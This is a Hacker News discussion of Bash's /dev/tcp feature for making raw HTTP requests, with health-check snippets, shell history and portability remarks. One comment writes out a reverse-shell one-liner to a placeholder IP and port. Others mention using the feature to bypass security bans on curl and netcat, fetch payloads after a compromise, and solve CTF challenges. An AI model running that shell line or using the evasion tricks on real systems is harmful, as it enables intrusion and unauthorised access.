TIL: You can make HTTP requests without curl using Bash /dev/TCP

mareksuppa.com

513 points by mrshu a day ago


xenadu02 - a day ago

As a kid in the late 90s my mind was blown when I realized I could telnet to port 80, 25, or 110 and interact with the servers manually.

Simple get: GET / HTTP/1.1 Content-Type: text/html User-Agent: l33t hax0rs lol X-Funny-Monkey: farts

For sending a mail message on port 25: HELO mail-from: whoever@whatever.com mail-to: sysadmin@yaya.com <other headers> <blank line> Body of the message yay. <two blank lines to end>

POP3 was so long ago I forgot but you could list the mailboxes then get individual messages and so on.

This revelation was the beginning of "there is no magic" for me. The realization that every part of the computer was built by human beings and was at some level understandable if one undertook the effort.

Perhaps most people in the future won't bother. They'll just let agents do it all. I'm sure that will leave some interesting holes in various systems for people willing to actually learn how they work without the filter of a model (or its safety rails).

Coelacanthus - 7 hours ago

> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.

Zsh has its own zsh/net/tcp and zsh/zftp modules.

https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...

https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...

https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

gatestone - 12 hours ago

In Plan 9 you did have a real (synthetic) /net, and could do that and more from any program. You could even mount /net from another machine via 9P protocol and have an instant VPN...

9front lets you play with that on Linux.

Some Plan 9 like /net things are visible in Go libraries... (Rob Pike legacy)

simonw - a day ago

Neat, works against example.com

  exec 3<>/dev/tcp/example.com/80
  printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3
  cat <&3
Outputs:

  HTTP/1.1 200 OK
  Date: Tue, 16 Jun 2026 17:37:45 GMT
  Content-Type: text/html
  ...
I always end up on example.com for this kind of thing because there are so few domains these days that don't enforce https!
basilikum - a day ago

> As it turns out, bash can speak HTTP by itself.

No, it can not. Bash lets you open TCP sockets.

What you are doing here is trying to speak HTTP yourself, which is fine for testing and debugging, and hella cool for fun to do by hand, but you will shoot yourself in the foot if you try to use this pseudo http client unattended in reality. This toy code does not parse HTTP properly and will break.

You could of course write a full http/1.1 client in bash, you can even do a full http server in pure bash: https://github.com/bahamas10/bash-web-server

For less insane, non-bash shells there is always nc which is usually probably the wiser choice.

mrshu - a day ago

I ran into this while checking connectivity between containers on an internal Docker network where the image had neither curl nor wget.

The main surprise was that Bash has /dev/tcp which lets you do the equivalent of an HTTP request with a bit of shell magic, for instance:

  exec 3<>/dev/tcp/service/8642
  printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
  cat <&3

Where `service` is just the hostname of whatever you’re talking to and 8642 is the port you are trying to talk HTTP to.

Pretty cool!

dredmorbius - 15 hours ago

Note that this didn't work historically on Debian, and presumably Debian-derived distros, where the virtual file TCP access was disabled by default. The position was reversed (and the capability enabled) in 2009, AFAIU. There's discussion and links in Bug #146464:

<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>

As others have mentioned, there are numerous other ways to directly access network features using shell tools, including curl (noted in TFA's title), wget, the HEAD and GET commands (from Perl), netcat (nc), socat, telnet, and I'm quite sure others.

stevefan1999 - 4 hours ago

Yep. I also learned that too when watching Bauhinia team members' using this to solve a CTF challenge :p It is a multi-series CTF that you get shell from first a ROP chain to system, but you are effectively jailed from running anything but bash, so the only thing you can use is read and cat, and they used the cat /dev/tcp, then redirected it to a pseudo-tty, and read the content of the pseudo-tty in order to get the URL to the inner system. The flag, there it is.

sam_lowry_ - a day ago

A few years ago I had to do this for a SpringBoot health check from a Docker container:

FROM openjdk:11-jre-slim HEALTHCHECK --start-period=10s --timeout=3s --retries=5 \ CMD perl -e "use IO::Socket; $sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => 'localhost', PeerPort => '8888') or die $@; $sock->autoflush(1); print $sock 'GET /actuator/health HTTP/1.1' . chr(0x0a) . chr(0x0d) . 'Host: localhost:8888' . chr(0x0a) . chr(0x0d) . 'Connection: close' . chr(0x0a) . chr(0x0d) . chr(0x0a) . chr(0x0d); while (my $line = $sock->getline ) { if ($line =~ /UP/) {exit;} }; close $sock; exit 1;"

drzaiusx11 - 5 hours ago

Reminds me of my teenage years when I'd echo spooky messages to other folks /dev/pttys to freak them out (messages i sent just magically appeared in their open terminals)

Why they didn't lock those down by using different creds per client in the computer lab I still don't know. Maybe it was a VAX limitation (at the time)?

1vuio0pswjnm7 - 5 hours ago

"This is not a real HTTP client."

It's a TCP client

curl is an HTTP client

I prefer TCP clients to HTTP clients. Simpler, easier to modify, faster to compile

There are many to choose from. For example, I use a modified version of tcploop

For generating HTTP, I use own utilties. This is more flexible than curl. There are some things curl cannot do, even though it has too many options

ang_cire - 2 hours ago

All my homies use

bash -i >& /dev/tcp/IP/PORT 0>&1

to talk to their friends(' computers).

yread - 11 hours ago

Oh man this would have saved me quite some time trying to include curl in my initramfs image with busybox that fires off a request to notify me to login via dropbear to put in the LUKS key. In the end the copy_exec script worked well though and i do have https

mlhpdx - 19 hours ago

For the next level unlock try to make a HTTP/3 request over /dev/udp.

tzot - 21 hours ago

I would use HTTP/1.0 without a need for Connection: close. Unless 1.0 is not generally supported anymore, but this is not the case in my experience.

timwis - a day ago

You could also use nsenter if curl is installed on the host, eg

docker inspect -f '{{.State.Pid}}' container-name

# let's imagine that outputs 814538

nsenter -t 814538 -n curl example.com

JSR_FDED - 14 hours ago

For a light-weight aliveness check or something like that this is perfectly fine approach.

Just like parsing HTML with regexes can be fine too - for instance if you know the sender.

Just like repeating code can be fine too, even though it violates DRY.

Mixing markup and code can be fine (call it Locality of Behavior).

But separating markup and code is fine too (Separation of Concerns).

goto’s can be a lifesaver for deeply nested error conditions in C.

The point is all these “you shouldn’t do this” comments are just generalities. Use your judgement, decide if the tradeoffs are right and make a deliberate choice.

AndrewStephens - a day ago

This is pretty neat if all you need is to ping a local server but please use curl (or something equivalent) for contacting remote services. HTTP1.1 seems like such a simple protocol but in the real world you need to deal with proxies, different encodings, and redirects. Curl takes care of that (and a host of other annoying stuff) for you.

pgtan - a day ago

It is a KornShell feature since ca. 1997

https://github.com/ksh93/ast-open-archive/blame/master/src/c...

orthogonal_cube - a day ago

It was fun exploring this to make a native-shell-only peer-to-peer file transfer utility at work for some automation scripts. At least, it was until trying to replicate it in Powershell was somehow triggering Crowdstrike and the corporate Cybersecurity team thought I was writing malware.

pickle-wizard - 21 hours ago

At a past job the security team wouldn't let us have netcat or curl on our systems. So I just used /dev/TCP to get around that. The ergonomics were not as nice as using netcat or curl, but it got the job done.

MisterTea - 20 hours ago

TIL: bash and other shells try to copy Plan 9's /net directory and the kernel ip(3) file server. Too bad it's not a real file system. And a missed opportunity to call the root of the path /net.

saidinesh5 - a day ago

Fun story: A few years ago, I worked for a small company that customized off the shelf routers to enable businesses provide Wifi Hotspots.

The routers were very basic model with very limited flash memory (~4MB?). I was brought in to build firmware for those routers. I ended up customising openwrt - removed all kinds of packages to make their packages fit on those routers. At the end, I had less than 4KB space, And I needed to implement a "heart beat" service. A lot of routers were behind firewalls that only allowed http, https and a couple of other protocols. Libcurl was too heavy. So I ended up writing a shell script that used this feature of bash to send out heart beats.

Fun times...

HeadlessChild - 14 hours ago

It is nice for a basic port knocking as well.

   timeout 5s bash -c "echo >/dev/tcp/google.com/443" && echo "port open" || echo "port closed"
This uses the timeout command from coreutils though, so it is not a pure bash implementation.
dchest - a day ago

It's interesting that most of the comments here are about using this feature to bypass security restrictions (whether valid or not). It says a lot about the attack surface of GNU utilities caused by featuritis.

dennis16384 - 21 hours ago

This is the kind of content we all deserved in 2026, and this is still why I ask during interviews to explain how cookies are represented in HTTP protocol.

ExoticPearTree - 8 hours ago

The 90s are calling. Its a bit funny when 30 years or so later people rediscover linux functionalities.

washbasin - a day ago

This is an old post-compromise trick used when an attacker needs to download a payload or make a network connection and curl, wget and nc are all not available.

smoothgrammer - 14 hours ago

There is a whole talk on how to use it even for interactive sessions.

https://youtu.be/hBcfrQ8y5Qg?is=Osjnhjrx7WgsHqVj

Sohcahtoa82 - 20 hours ago

This was something I learned about 10 years ago when earning my OSCP, useful during penetration tests and CTFs when you get a low-priv shell that's running a minimal OS (No curl, nc, python, etc.) but running a web server listening on localhost.

Using /dev/tcp was also handy in getting that initial low-priv shell.

chaps - a day ago

Once had a coworker tell me to never to use this because "you never know when the customer doesn't have bash installed; use python instead" even though our contract required that the customer had bash. I'm still laughing at that.

geoctl - a day ago

I discovered this bash trick by chance when I was once trying to healthCheck the Envoy's official OCI image container which didn't include curl or wget while forcing the envoy admin interface to listen on localhost which breaks the traditional k8s httpGet checks.

Retr0id - a day ago

It's a fun trick, but I really don't like that bash does this. It's such an un-clean interface, and I'm not aware of any use cases beyond trying to exfiltrate data from a badly locked-down shell.

alienbaby - a day ago

Reminds me of telnetting to port 80 to make a get request years and years ago

tim-tday - 18 hours ago

I love that under Linux your tcp stack is a file.

nesarkvechnep - a day ago

I find /dev/udp much more useful. I can create aliases for fire and forget commands to my daemons without actually writing *ctl program.

devsda - a day ago

Yes, it used to be my goto few times when some devices tried to lockdown everything with bare minimum core utils and no network capable tools like curl etc.

high_byte - 11 hours ago

interesting attack vector

shame it's not a real device so the surface is limited to bash only

I wonder what software might be vulnerable to this attack surface

nedt - 21 hours ago

I actually have a couple of Dockerfiles that are using exactly this in the HEALTHCHECK. Less packages to install.

varbhat - 8 hours ago

Thanks! I dislike this

sc68cal - a day ago

That's pretty neat, thanks for sharing

andrewshadura - 10 hours ago

You don't need Connection: close if you use HTTP/1.0.

m3047 - a day ago

At least on my systems there's also /dev/udp...

laserbeam - 14 hours ago

> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.

This is why we can’t have nice things. This feature is complex and obscure enough that you are unlikely to be able to use it manually without consulting a reference, and poorly supported that any script you write with it is unportable.

Bash is so powerful and so frustrating for this reason all the time :(

ddlsmurf - 18 hours ago

why bother with /dev, all you need is a battery, a couple of needles and some length of ethernet cable

Steeeve - a day ago

brb. recompiling bash in all my base images.

alienbaby - a day ago

Reminds me of using telnet to port 80 to make get requests aeons ago

johnea - 19 hours ago

This is a cool trick.

I discovered it for myself some years ago, when I wanted to make simple network test scripts run without depending on curl or telnet, or other executables outside of bash.

sbseitz - 12 hours ago

Welcome to the year 2000.

black_knight - 21 hours ago

Wait until they hear about Plan 9!

uberex - 20 hours ago

telnet then?

WesolyKubeczek - 8 hours ago

Then TLS, HTTP/2, and HTTP/3 enter the chat, and now you can’t just send a request.

phantasmat - a day ago

[flagged]

masa-kozu - 18 hours ago

[flagged]

michaeltm - 20 hours ago

[dead]

animanoir - 20 hours ago

[dead]